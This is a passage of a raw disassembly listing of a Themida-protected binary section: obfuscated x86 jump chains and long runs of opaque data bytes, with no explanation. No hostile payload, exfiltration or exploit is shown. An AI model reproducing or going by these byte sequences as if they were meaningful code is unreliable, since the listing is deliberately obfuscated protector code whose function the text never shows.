248B243Ch, 5C24E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562912: ; CODE XREF: Themida_:00564504j mov [esp], ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] pop esp jmp loc_553A3B ; --------------------------------------------------------------------------- dw 0F181h dd 32FD1BFFh, 0FFFFE981h, 0F181FFFFh, 1DCD273Eh, 8102E9C1h dd 0A47FD2E9h, 24FCE92Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562946: ; CODE XREF: Themida_:0055DB2Bj mov ebx, esi mov esi, [esp] add esp, 4 add ecx, 602969EEh add ecx, ebx sub ecx, 602969EEh pop ebx push edx mov edx, esp jmp loc_561BA3 ; --------------------------------------------------------------------------- db 53h, 51h, 68h dd 516B5EACh, 0C1D1F759h, 0F18105E9h, 2C1AE393h, 8959CB89h dd 0E5C15BDDh, 0E9EDD108h, 0FFFFC5EAh, 4240483h, 8324048Fh dd 59042404h, 4C2EE950h, 487FFFFh, 0E54FE924h, 0C15DFFFFh dd 0D7F702E7h, 0EF81DFF7h, 39A12482h, 7E9FD31h, 54FFFEE5h dd 0FF84B9E9h, 0E9D601FFh, 0FFFF437Ch, 4CD968h, 240C8900h dd 7188BE56h, 99E952E8h, 81FFFF22h, 0A07CBCCDh, 0E9C58154h dd 0C162FF37h, 0ED8108E5h, 5CB7D49h, 0FFE96FE9h, 4C181FFh dd 81000000h, 4C1h, 240C8700h, 4EC815Ch, 0E9000000h, 0FFFFEE8Dh dd 0BF243C89h, 4, 0FFE4A0E9h, 1B69BBFFh, 0D9310A64h, 81241C8Bh dd 4C4h, 54BB5300h, 291E5370h, 241C8BDDh, 4C481h, 0CD010000h dd 7054C581h, 0C8B1E53h, 4C48324h, 2646E951h, 0E2890000h dd 4C281h, 0C2830000h, 24143304h, 33241431h, 15C2414h dd 241C8BDFh, 8904EC83h, 0E0892404h, 0FF216CE9h db 0FFh ; --------------------------------------------------------------------------- loc_562A75: ; CODE XREF: Themida_:00550FC6j push ecx jmp loc_557279 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 241C8700h, 0E289525Ch, 0FF1B61E9h db 0FFh ; --------------------------------------------------------------------------- loc_562A8D: ; CODE XREF: Themida_:0055A8C4j add esp, 4 or ecx, ecx jz loc_55AA63 push eax mov eax, esp jmp loc_55537F ; --------------------------------------------------------------------------- db 8Fh dd 24E92404h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562AAB: ; CODE XREF: Themida_:005637DDj inc ebx dec ebx xor ebx, 2BCE3D38h add ebx, 70F57E5Dh sub esi, ebx pop ebx push ecx jmp loc_5633F9 ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FFFFCD61h, 0E43C7F2Dh, 240C8B68h, 4C481h, 0D8290000h dd 9E6EEE05h, 0DC15E974h, 0EEC1FFFEh, 26EE8107h, 5668D679h dd 5E240CFFh, 18A068h, 242C8900h, 8F2416BDh, 81DDF77Bh dd 5F73BEF5h, 6AC58120h, 0E9F388CAh, 0FFFF1873h, 405E089h dd 0E9000000h, 0FFFF0F80h, 211E7BBAh, 0F7BD5546h, 210DCE3Eh dd 0F2A4E9EAh, 5256FFFFh, 0FF47B6E9h, 240C89FFh, 0C181E189h dd 4, 21E8BB53h, 36E95B17h, 30FFFFFAh, 50525BF9h, 0C28802B0h dd 0FE98058h, 0FF5627E9h, 7CB868FFh, 2C890000h, 89BE5624h dd 5201C855h, 67E9F289h, 89000014h, 1E29E9E6h, 0F7660000h dd 0C58166D5h, 0B3E96A7Dh db 2Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B87: ; CODE XREF: Themida_:0056540Aj push esi jmp loc_562D52 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 0E9000000h, 0FFFF79E6h, 56241C89h, 7E6A8BBEh, 9579BB6Ah dd 0F3019581h, 8124348Bh, 4C4h, 0D7EE8100h, 8105D651h dd 0BC0F70EEh, 81DE0170h, 0BC0F70C6h, 0D7C68170h, 5B05D651h dd 8704C683h, 305C2434h, 0C0B60FC3h, 0FF8734FFh, 34FF2434h dd 0F288E924h, 0F801FFFFh, 0FFC376E9h, 58C201FFh, 5542D2F7h dd 0C90C00BDh, 0EDCAE955h db 2 dup(0FFh) word_562BFE dw 8B66h ; DATA XREF: Themida_:0054FDD0o dd 7DE92404h, 89FFFFBAh, 28E92404h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562C0F: ; CODE XREF: Themida_:0055F342j mov ch, bl pop ebx add ah, ch pop cx push eax mov ah, 56h add bl, ah jmp loc_55CBA1 ; --------------------------------------------------------------------------- dd 96E9D001h, 81000020h, 0B2CB30C1h, 3EB850E9h, 2968907Eh dd 7800E9C5h, 74FFFFFFh, 8F5A0424h, 0E95B2404h, 0FFFFB045h dd 0DEAE981h, 0CF89CE35h, 0FF3226E9h, 98E8BDFFh, 0D501D5A8h dd 0C5814D5Ah, 1, 7D72F581h, 0BB530903h, 2FC824BAh, 575BDD31h dd 0C904AEBFh, 0A7BD555Eh, 0E94FBF18h, 146Bh ; --------------------------------------------------------------------------- loc_562C84: ; CODE XREF: Themida_:005511AAj add edx, offset byte_4F212B sub edx, eax push ebp mov ebp, 588439B0h jmp loc_55E4E3 ; --------------------------------------------------------------------------- byte_562C97 db 0ACh ; DATA XREF: Themida_:0054FDD8o dd 56FE6866h, 241C8966h, 0FF6DBFE9h db 0FFh ; --------------------------------------------------------------------------- loc_562CA5: ; CODE XREF: Themida_:00559658j xchg edx, [esp] jmp loc_557B27 ; --------------------------------------------------------------------------- db 80h, 0C1h, 1 dd 0C9FED1F6h, 0E943F180h, 0FFFF6AE0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add edx, 4 xor edx, [esp] jmp loc_5651E4 ; --------------------------------------------------------------------------- db 81h dd 7A6D6DEAh, 7FE95702h, 89FFFFF3h, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 8029E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562CFA: ; CODE XREF: Themida_:005600B1j mov ecx, 8C04F84h not ecx xor ecx, 492C3B53h push edx jmp loc_556352 ; --------------------------------------------------------------------------- loc_562D0D: ; CODE XREF: Themida_:00564D21j pop esp jmp loc_558B47 ; --------------------------------------------------------------------------- db 0BDh dd 4, 515DE901h, 42474FFh, 592434FFh, 4C481h, 48F0000h dd 623AE924h, 78BBFFFFh, 6848AD1Dh, 6E2Fh, 0FF10B4E9h dd 87595AFFh, 248B241Ch, 243CD224h, 0D345E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562D52: ; CODE XREF: Themida_:00562B88j mov esi, 67415393h shr esi, 7 xor esi, 5831F361h add edx, esi pop esi sub edx, ebp push ebx jmp loc_558E27 ; --------------------------------------------------------------------------- db 83h dd 0B25204C4h, 16EA8046h, 0FF3E5DE9h db 0FFh byte_562D79 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:0054FF50o dd 0D9CCBE56h, 895002BBh, 0D3FDE9E0h, 0FF51FFFFh, 0FF042474h dd 34FF2434h, 0C026E924h, 0D088FFFFh, 8BC7005Ah, 0C4812404h dd 4, 0C780CFFEh, 0E9DFF67Bh, 0FFFF8005h, 0E924248Bh, 0FFFF844Ah ; --------------------------------------------------------------------------- loc_562DBC: ; CODE XREF: Themida_:00558FCFj sub esp, 4 mov [esp], eax jmp loc_556019 ; --------------------------------------------------------------------------- loc_562DC7: ; CODE XREF: Themida_:00555354j shr edi, 2 push ebx jmp loc_553DC1 ; --------------------------------------------------------------------------- dd 54241489h, 27C0E9h, 74FF5200h, 99E90424h, 8FFFFF52h dd 248B2404h, 5A09E924h, 7168FFFFh, 0E9000032h, 0FFFF9254h dd 8B243C87h, 0E9F72424h, 1D1EE9h, 0CAC28100h, 294A7E6Fh dd 0EC835AD0h, 242C8904h, 3C7068h, 242C8900h, 0C581E589h dd 4, 8704ED83h, 0E95C242Ch, 0FFFF9964h ; --------------------------------------------------------------------------- loc_562E30: ; CODE XREF: Themida_:0055D2BFj pop edi xchg eax, [esp] pop esp push edi jmp loc_564CA7 ; --------------------------------------------------------------------------- db 87h dd 815C2414h, 7D2848E6h, 2259E96Bh, 0E289FFFFh, 4C281h dd 0FE680000h, 89000058h, 4BB241Ch, 29000000h, 14875BDAh dd 14895C24h, 1BBE924h, 34890000h, 64E95424h, 0FFFFFF2Ch dd 0E9042474h, 0FFFF0685h ; --------------------------------------------------------------------------- loc_562E80: ; CODE XREF: Themida_:005570A3j neg dword ptr [esp] pop eax push edi mov edi, 13F612C2h shl edi, 7 sub edi, 3B38172Ah or edi, 4F6736A5h jmp loc_560FE6 ; --------------------------------------------------------------------------- loc_562E9E: ; CODE XREF: Themida_:0055DB80j not ebx xchg ebx, edi push 289Eh mov [esp], edi not dword ptr [esp] jmp loc_5626E1 ; --------------------------------------------------------------------------- loc_562EB2: ; CODE XREF: Themida_:00560A6Ej mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add edi, ecx mov ecx, [esp] jmp loc_560120 ; --------------------------------------------------------------------------- dw 0B168h dd 5D631F52h, 4633CD81h, 0A2E97F3Dh, 51FFFF06h, 5F059AB9h dd 0E9CE29EAh, 0FFFF4AD5h ; --------------------------------------------------------------------------- loc_562EEC: ; CODE XREF: Themida_:0055AF02j mov eax, [esp] add esp, 4 push ebp mov ebp, 7AF607A3h mov ecx, ebp pop ebp sub ecx, 4CD122E3h jmp loc_55D1F6 ; --------------------------------------------------------------------------- db 57h, 0E9h, 62h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562F0F: ; CODE XREF: Themida_:0055E99Bj add esi, ebx pop ebx xchg esi, [esp] pop esp push ecx jmp loc_56548E ; --------------------------------------------------------------------------- dd 5C240487h, 9C2404FFh, 0FED16EE9h, 1FEF80FFh, 0EF80D7F6h dd 0B1EF8030h, 0E95BFC28h, 0FFFFB669h, 4BEh, 0D040E900h dd 0C281FFFFh, 4, 30E1BF57h, 23E92718h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562F57: ; CODE XREF: Themida_:0055E5B6j push edx mov edx, esp add edx, 4 jmp loc_55287D ; --------------------------------------------------------------------------- loc_562F65: ; CODE XREF: Themida_:00552400j mov [esp], esi push ecx jmp loc_556F6B ; --------------------------------------------------------------------------- word_562F6E dw 8B66h ; DATA XREF: Themida_:0054FE1Co dd 5451240Ch, 68505259h, 78741DFEh, 5624048Bh, 0C681E689h dd 4, 0E904C683h, 0FFFF615Dh, 5F59C889h, 1AF0EA81h, 0C2017242h dd 0E27BE951h, 0E289FFFEh, 4C281h, 0C2830000h, 24148704h dd 0DC76E95Ch, 0E959FFFFh, 0FFFF051Ah, 0D60EE95Fh, 5658FFFFh dd 2FDB68h, 24248900h, 4BE56h, 79E90000h db 0F9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562FD7: ; CODE XREF: Themida_:0055F27Cj add ecx, 0FFFFFFFFh sub esp, 4 mov [esp], ebx mov ebx, 53117560h add ebx, 2AB97D88h inc ebx neg ebx add ebx, 5D6016E5h add ebx, 0B2EB8845h sub ecx, 7AB05405h jmp loc_554709 ; --------------------------------------------------------------------------- dd 0C0C9E957h, 0DD68FFFFh, 89000029h, 0E789243Ch, 4C781h dd 0EF810000h, 4, 0FF491FE9h, 4135BAFFh, 0D1014AE4h, 8124148Bh dd 4C4h, 0F7E98700h, 55E987D5h, 8A5379BDh, 1B05E91Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56304A: ; CODE XREF: Themida_:0055B3F7j mov eax, 3CDB04F6h xor eax, edx pop edx or edx, eax pop eax add edx, 28B588A2h jmp loc_555914 ; --------------------------------------------------------------------------- dd 0E953FCB5h, 0FFFEDECDh, 2414F751h, 81240C8Bh, 4C4h dd 0A6E98100h, 53CDEACEh, 5F89CB89h, 944AE920h, 5F5AFFFFh dd 5C240C87h, 24048966h, 0FED002E9h db 0FFh ; --------------------------------------------------------------------------- loc_563095: ; CODE XREF: Themida_:00552CA8j add esp, 4 push ecx mov ecx, 3F4F761Dh add edx, ecx jmp loc_55B50D ; --------------------------------------------------------------------------- dd 7BE60D40h, 0D8F7710Eh, 5BB7B951h, 0C8319E80h, 0F5BA5259h dd 0F70A591Ah, 0FFB951D2h, 0F727CC0Dh, 81E1D1D1h, 0C0FF1AE9h dd 59CA29BAh, 8F50FA01h, 48B5A02h, 4C48324h, 81E68956h dd 4C6h, 4EE8300h, 0FF035CE9h, 4C481FFh, 0E9000000h, 0FFFFCA71h dd 8124048Bh, 4C4h, 70F8E900h, 0C581FFFFh, 6FBF7639h, 636BF581h dd 222D1EBEh, 153F217h, 172205E8h, 575D53F2h, 4BFh, 0FFF80100h dd 0E95F2434h, 0FFFF838Dh, 7C37B9BFh, 27AEBE48h, 79E935CBh db 1Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563143: ; CODE XREF: Themida_:00555AEFj mov [esp], ebx jmp loc_55B2B7 ; --------------------------------------------------------------------------- db 1 dd 0D0095EF2h, 8E8C15Ah, 0D07E0C1h, 569036CCh, 2568h, 24148900h dd 465339BAh, 0F2E2817Eh, 81007372h, 1EAh, 0F9E9E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56317A: ; CODE XREF: Themida_:0055D230j sub ebp, 73F93ED7h jmp loc_555711 ; --------------------------------------------------------------------------- db 0BDh, 40h, 5Ch dd 0E90108ADh, 0FFE7CAE9h, 242C89FFh, 93240481h, 5821EB00h dd 0EB00932Dh, 242C8B21h, 0FFB6F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5631A9: ; CODE XREF: Themida_:0055D6CCj mov edi, 1B02580Ch jmp loc_560E53 ; --------------------------------------------------------------------------- db 0F6h dd 9FC680D6h, 0FE5AF528h, 9EA6E9CDh, 2159FFFFh, 34FF1C57h dd 0C4835A24h, 0CEC5E904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5631D2: ; CODE XREF: Themida_:00561631j xor edi, 13AA6C04h shr edi, 4 push 5098h mov [esp], ebp push esi jmp loc_5514A2 ; --------------------------------------------------------------------------- db 0BFh, 2 dup(0) dd 0D7290000h, 5AE9FA89h db 0E1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5631F7: ; CODE XREF: Themida_:005519FCj add esp, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push esi mov esi, esp push ecx mov ecx, 316C2B6Ch sub ecx, 2EF3256Dh shl ecx, 7 or ecx, 379C551Bh xor ecx, 6E436A01h jmp loc_5505D7 ; --------------------------------------------------------------------------- db 29h, 0DAh, 81h dd 0AA3144EAh, 14335B38h, 24143124h, 5C241433h, 50241489h dd 0CE51E99Ch, 0F989FFFEh, 15E9815Fh, 81111561h, 87D0CDF1h dd 0C3E9517Bh, 66FFFF91h, 34E99C51h db 0CEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563263: ; CODE XREF: Themida_:00562748j push edi mov edi, 3C6C1EABh jmp loc_561258 ; --------------------------------------------------------------------------- dw 0C884h dd 0CE21E99Ch, 0C580FFFEh, 2E5C077h, 16C9E9h, 241C8700h dd 4C2815Ch, 87000000h, 248B2414h, 0C2F7E924h, 0EF81FFFFh dd 0ECEC8CC2h, 0E902EFC1h, 0FFFFAA76h ; --------------------------------------------------------------------------- loc_5632A4: ; CODE XREF: Themida_:00550E52j pop esp jmp loc_550097 ; --------------------------------------------------------------------------- loc_5632AA: ; CODE XREF: Themida_:00557014j xchg ebp, [esp] jmp loc_555F01 ; --------------------------------------------------------------------------- dw 6851h dd 65D1163Ah, 0FFA3AEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5632BD: ; CODE XREF: Themida_:0055789Cj push esi mov esi, 2D72585Ah add edi, esi pop esi push ebx mov ebx, 6DD0C33h inc ebx shr ebx, 8 shr ebx, 1 sub ebx, 679628AAh jmp loc_5583FC ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h aLI4H db '‹$$‰4$h³',8,0 dw 0E900h dd 0FFFFA09Ch, 2049E95Dh, 0BD550000h, 30AA341Fh, 0B2F5814Dh dd 68305046h, 5EB6h, 0E9240489h, 0FFFF419Dh, 0BF243C89h dd 0 dd 9AE9CF29h, 5BFFFFD7h, 1BBDE9h, 0C3815D00h, 0FFFFFFFFh dd 0FF5097E9h, 7E94EFFh, 50FFFF9Ch, 0E72DE952h, 0D1F7FFFFh dd 0FFF903E9h, 0E98141FFh, 63041AA3h, 0FEF402E9h, 25D0F7FFh dd 0C33426Dh, 0D006862Dh, 58C689ACh, 0E907E6C1h, 0FFFF7590h dd 0E904EC83h, 0FFFF147Ch dword_563370 dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF6744h, 6807E9C1h ; DATA XREF: Themida_:0054FFF0o dd 3499h, 87240C89h, 0F7502404h, 48B2414h, 81A0E924h, 2C89FFFFh dd 0E9E58924h, 0FFFF8DC5h ; --------------------------------------------------------------------------- loc_5633A4: ; CODE XREF: Themida_:0055A9C7j xor edi, 6A070BE3h mov esi, edi pop edi dec esi shl esi, 1 push edx jmp loc_55AF3E ; --------------------------------------------------------------------------- loc_5633B6: ; CODE XREF: Themida_:0055DD84j push ebx jmp loc_5591FB ; --------------------------------------------------------------------------- dword_5633BC dd 240C8B66h, 0D3268h, 241C8900h, 0BE56E389h, 4A07E9Bh ; DATA XREF: Themida_:0054FFECo dd 6B1F684Eh, 4890000h, 816AB824h, 2BE9FB5Fh, 8100000Ah dd 37EE0C7h, 5FFB2963h, 3904C381h, 0FB015D75h, 0FF43E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5633F9: ; CODE XREF: Themida_:00562ABDj mov ecx, 0DEA4483Eh sub esi, ecx mov ecx, [esp] push 16F4h jmp loc_55DB19 ; --------------------------------------------------------------------------- db 45h, 0D1h, 0EDh dd 8103EDC1h, 4ECh, 24048900h, 0FFA606E9h db 0FFh ; --------------------------------------------------------------------------- loc_563421: ; CODE XREF: Themida_:00564A85j pop edi neg ecx jmp loc_55997F ; --------------------------------------------------------------------------- db 81h, 0F5h, 4Eh dd 0C168ED38h, 0C58108EDh, 78913DF3h, 1C8BE581h, 0ED816D03h dd 68021407h, 835DEE01h, 0BCE904C6h db 0CEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56344F: ; CODE XREF: Themida_:0056547Bj jmp loc_550097 ; --------------------------------------------------------------------------- loc_563454: ; DATA XREF: Themida_:0055003Co push ebp mov ebp, esp jmp loc_5542BB ; --------------------------------------------------------------------------- loc_56345C: ; CODE XREF: Themida_:0055B3A2j pop edi add edx, edi pop edi jmp loc_552147 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0C681E689h, 4, 4EE81h, 34330000h, 24343124h, 1241E9h db 0 byte_563481 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550014o dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 0FF6472E9h dd 0FCB951FFh, 31148B5Ah, 67E959CDh, 55FFFF96h, 0FF1FA3E9h dd 2BFFFh, 8DE90000h, 5DFFFF27h, 0FF002FE9h, 63D668FFh dd 0C8B4DF7h, 4C48324h, 0E9D1F749h, 0FFFF0FC0h, 6C685Ch dd 2C890000h, 0BD24h, 0C5810000h, 3F054C06h, 0ED81D529h dd 3F054C06h, 0D531EA31h, 34FFEA31h, 0B5E95D24h, 56FFFF59h dd 0FF5408E9h, 81FA01FFh, 372BB9EAh, 0D0895F42h, 58C6015Ah dd 3CF468h, 243C8900h, 0BDE7E953h, 0E789FFFFh, 6C9BE953h db 2 dup(0FFh) word_56352A dw 8B66h ; DATA XREF: Themida_:0054FDC4o dd 0B268240Ch, 8900006Fh, 1DE9242Ch, 81FFFF08h, 804601EBh dd 0BE56500Ch, 45AE4794h, 0FF8E95E9h, 0E8C166FFh, 0D356607h dd 0C6016640h, 0CE816658h, 0F7663CF9h, 0E882E9D6h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563566: ; CODE XREF: Themida_:00556164j mov ebx, esi jmp loc_5600EC ; --------------------------------------------------------------------------- loc_56356D: ; CODE XREF: Themida_:00555D68j push edx mov edx, 22E133FEh jmp loc_55B3EB ; --------------------------------------------------------------------------- loc_563578: ; CODE XREF: Themida_:0055A8CAj push edi mov edi, 2072703Dh sub ebx, edi jmp loc_55D82F ; --------------------------------------------------------------------------- db 1, 0D7h, 5Ah dd 0FF069BE9h, 0C3815BFFh, 4, 0E904EB83h, 0FFFFA005h, 66D12858h dd 0F990E952h db 0FEh, 0FFh word_5635A6 dw 5ADh ; DATA XREF: Themida_:0054FE2Co aCfyHM db 'çfy*)ØhÃm',0 dw 0E900h dd 0FFFF10FBh, 6624248Bh, 0D4E930FFh, 29FFFECAh, 4875EF0h dd 4AE95C24h, 5BFFFFF1h, 0DD87D3F7h, 0FF0EABE9h, 81E689FFh dd 4C6h, 4C68100h, 87000000h, 99E92434h, 0F7FFFFB2h, 0E38953DFh dd 0FEFA8FE9h, 81DE29FFh, 9825ECEEh, 30EE8109h, 8B320C6Eh dd 0CA68241Ch, 89000044h, 8B542414h, 89572414h, 4C781E7h dd 81000000h, 4C7h, 243C8700h, 4C2815Ch, 81000000h, 4C2h dd 24148700h, 0E4A6E95Ch, 665FFFFFh, 665DCE05h, 660F362Dh dd 0C0BF6657h, 0F801663Eh, 68665F66h, 89662301h, 0EC83243Ch dd 241C8904h, 44396866h, 241C8B66h, 2C481h, 66500000h dd 666340B8h, 38E9E8D1h, 1FFFF8Fh, 0B620E9C5h, 4B9FFFFh dd 1000000h, 0E5E6E9CEh, 48FFFFFh, 24D35C24h, 0FCE99C24h dd 53FFFEC9h, 0C9242C81h, 0E936374Ch, 0FFFEEB0Ah dword_5636A8 dd 8B2434FFh ; DATA XREF: Themida_:0054FDE4o db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_557E49 ; --------------------------------------------------------------------------- loc_5636BC: ; CODE XREF: Themida_:005560C6j ; Themida_:loc_5649E9j push 224Dh mov [esp], edx mov edx, esp push ebx mov ebx, 4E8B17A7h push 6E75h mov [esp], esi push edx sub esp, 4 mov [esp], eax mov eax, 4C0D265Fh mov edx, eax jmp loc_56135A ; --------------------------------------------------------------------------- dw 0A8E9h dd 55FFFEC9h, 0C01C60BDh, 83D5F734h, 35E9FFEDh, 83FFFF71h dd 90E904C4h db 0C9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563707: ; CODE XREF: Themida_:005625C6j mov ah, ch pop ecx mov bh, ah pop eax mov dl, cl pop cx sub esp, 4 mov [esp], ecx mov ch, dl mov dl, [esp+4] mov [esp+4], ch mov ecx, [esp] add esp, 4 jmp loc_550097 ; --------------------------------------------------------------------------- byte_56372F db 0FFh ; DATA XREF: Themida_:0054FE38o dd 48B2434h, 4C48324h, 8904EC83h, 0EF682414h, 8900003Ah dd 4812424h, 424h, 0C2815A00h, 4, 71B868h, 241C8900h, 4BBh dd 0FFDA0100h, 555B2434h, 8904EC83h, 4832424h, 34FF0424h dd 0E7E95D24h db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56377B: ; CODE XREF: Themida_:005644E4j sub eax, 771335FEh jmp loc_55E974 ; --------------------------------------------------------------------------- db 55h, 0BDh, 22h dd 5541D537h, 0A5243481h, 59636356h, 56A5F181h, 835D6363h dd 62E904ECh, 8B00001Bh, 0C4832404h, 81ED8104h, 45539C43h dd 8904EC83h, 0BE562414h, 7B46411Bh, 0FFB0B2E9h, 6733BFFFh dd 7C295BAAh, 0E95F0824h, 0FFFED265h ; --------------------------------------------------------------------------- loc_5637D0: ; CODE XREF: Themida_:00553A36j mov esi, 2F17778Fh push ebx mov ebx, 0B4C7237h not ebx jmp loc_562AAB ; --------------------------------------------------------------------------- dw 0D788h dd 0E952665Ah, 0F16h, 4BB53h, 0D9010000h, 240C335Bh, 33240C31h dd 248B240Ch, 0CBD9E924h, 1489FFFFh, 53A6824h, 0C890000h dd 5364B524h, 0B71AB652h, 5AF70086h, 0C065F780h, 0EF8008E7h dd 0FEEF8664h, 505266C5h, 0E688EC88h, 0FF1626E9h, 24D366FFh dd 48E99C24h db 0F2h, 0FEh, 0FFh byte_56383F db 66h ; DATA XREF: Themida_:0054FE98o dd 50E9028Fh, 81FFFEC8h, 0B3D386E9h, 59CF2925h, 0CB06B82Dh dd 5F8292Fh, 2FCB06B8h, 0FFFF055Fh, 5205FFFFh, 0E9330925h dd 0FFFF53FCh, 8904EC83h, 2B82404h, 1000000h, 0FF5258C2h dd 5A042474h, 0E924048Fh, 0FFFFE508h, 3451E95Eh, 0BF57FFFFh dd 7D3E4CCFh, 0D70831BDh, 5FFD01EBh, 0FFFFED81h, 0F7E9FFFFh db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5638A7: ; CODE XREF: Themida_:00560461j add ebx, 0AFA86645h jmp loc_559B5B ; --------------------------------------------------------------------------- dw 0C383h dd 4EC8302h, 0FFF278E9h, 7DDFBDFFh, 0EE0150BAh, 81FE015Dh dd 0BA7DDFEEh, 34875F50h, 68565C24h, 4725h, 0E9240C89h dd 0FFFF4F38h, 4C281h, 14870000h, 24248B24h, 0D9BA5255h dd 0C135480Ah, 0CA8107EAh, 6C511A3Fh, 65C3C281h, 0D5899384h dd 2A99E95Ah, 0F801FFFFh, 2434FF5Fh, 4C4815Dh, 56000000h dd 0FFAD32E9h db 0FFh ; --------------------------------------------------------------------------- loc_56391D: ; CODE XREF: Themida_:0055768Aj sub ebx, 73C07F0Eh push edi mov edi, 53C40BAh add ebx, edi pop edi xor ebx, 274BB799h push esi mov esi, 6E5D786Bh sub esi, 0FFFFFFFFh jmp loc_55757C ; --------------------------------------------------------------------------- loc_563940: ; CODE XREF: Themida_:00557610j mov edx, 14845758h add edx, 6FB04A0h or edi, edx pop edx jmp loc_55BBC5 ; --------------------------------------------------------------------------- loc_563953: ; CODE XREF: Themida_:00559E54j pop edi jmp loc_555083 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0E4h dd 81288E69h, 813286F2h, 5AD1010Ch, 3E7D2D5Bh, 0C8293E25h dd 253E7D05h, 57A3E93Eh, 2D5CFFFFh, 4EC576F9h, 540BD55h dd 2DE979AEh db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56398B: ; CODE XREF: Themida_:005572C7j push edx mov edx, 70B706BBh sub edx, 2D62AC60h add ecx, edx pop edx push 2BAFh mov [esp], eax jmp loc_5608DD ; --------------------------------------------------------------------------- db 57h dd 716D13BFh, 4FF78139h, 0E95DE862h, 0FFFFC695h, 49D2EB81h dd 0CBE97CBEh, 81FFFF96h, 0FFFFFFC5h, 7922E9FFh, 2468FFFFh dd 8900007Dh, 8B542404h, 0A2E92404h, 0B9FFFF76h, 30FC64B2h dd 0F181E1D1h, 37DE3673h, 0E9814941h, 0F51CE57Ch, 6859C889h dd 7F9Ch, 68241489h, 4BB6376Fh, 88BB535Ah, 8123E945h, 702C3DC3h dd 0D0F79362h, 5F38193h, 2960A78Dh, 0F7425BDAh, 84A9E9DAh dd 91BAFFFFh, 81678A16h, 0AB369AF2h, 47D3E975h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A36: ; CODE XREF: Themida_:00552EAFj add edi, 4 add edi, 4 xor edi, [esp] jmp loc_563DA4 ; --------------------------------------------------------------------------- dw 0E581h dd 29080C1Dh, 884BE955h, 0C801FFFFh, 0E1EAE959h, 0E6C1FFFFh dd 52C68106h, 812F1042h, 0D623A8E6h, 2EEC172h, 7737EE81h dd 0F3019A1Dh, 0D7685A5Eh, 89000030h, 77BA2414h, 2179D703h dd 0C3815AD3h, 0D6A8FDC1h, 1C8BDA01h, 0E2895224h, 4C281h dd 0C2810000h, 4, 5C241487h, 31241433h, 14332414h, 24248B24h dd 0FFD778E9h, 0A3F480FFh, 0FF3EDAE9h, 48F5EFFh, 24248B24h dd 8B2434FFh, 0E9532404h, 0FFFFEEE3h, 0FF243489h, 8B042474h dd 89532434h, 4C381E3h, 81000000h, 4C3h, 17EBE900h, 2C87FFFFh dd 24248B24h, 215868h, 242C8900h, 0DA8DB8BDh, 0FFE8312Bh dd 34FF2434h, 0C4835D24h, 0A68CE904h, 0EF00FFFFh, 24048B59h dd 4C481h, 0F8300000h, 5B2434FFh, 513668h, 242C8900h, 0C5815D54h dd 4, 0B914E950h db 2 dup(0FFh) word_563B3E dw 83ACh ; DATA XREF: Themida_:0054FF30o dd 0BAE904ECh, 5BFFFFD0h, 0E959CA31h, 0FFFF592Eh, 582434FFh dd 4C481h, 0E8680000h, 89000044h, 0BE562414h, 69AF5C35h dd 0FC6CE81h, 0B9514BD8h, 526C7682h, 0FF4555E9h, 53D901FFh dd 0BBh, 52CB0100h, 0BAh, 88DA0100h, 8B5B5A02h, 0C481240Ch dd 4, 0E9241C8Bh, 0FFFFE8A4h, 49B1BE58h, 0C6310743h, 0FED9F3E9h dd 665866FFh, 5666D8F7h, 0FED0DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_563BB9: ; CODE XREF: Themida_:00550282j jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h word_563BBE dw 8B66h ; DATA XREF: Themida_:0054FDB4o db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56075E ; --------------------------------------------------------------------------- dw 405h dd 5000000h, 4, 31240433h, 4332404h, 0C4815C24h, 4, 0FF602CE9h db 0FFh ; --------------------------------------------------------------------------- loc_563BE9: ; CODE XREF: Themida_:0055A0B9j pop ebx and ecx, 184B0E01h jmp loc_55B294 ; --------------------------------------------------------------------------- byte_563BF5 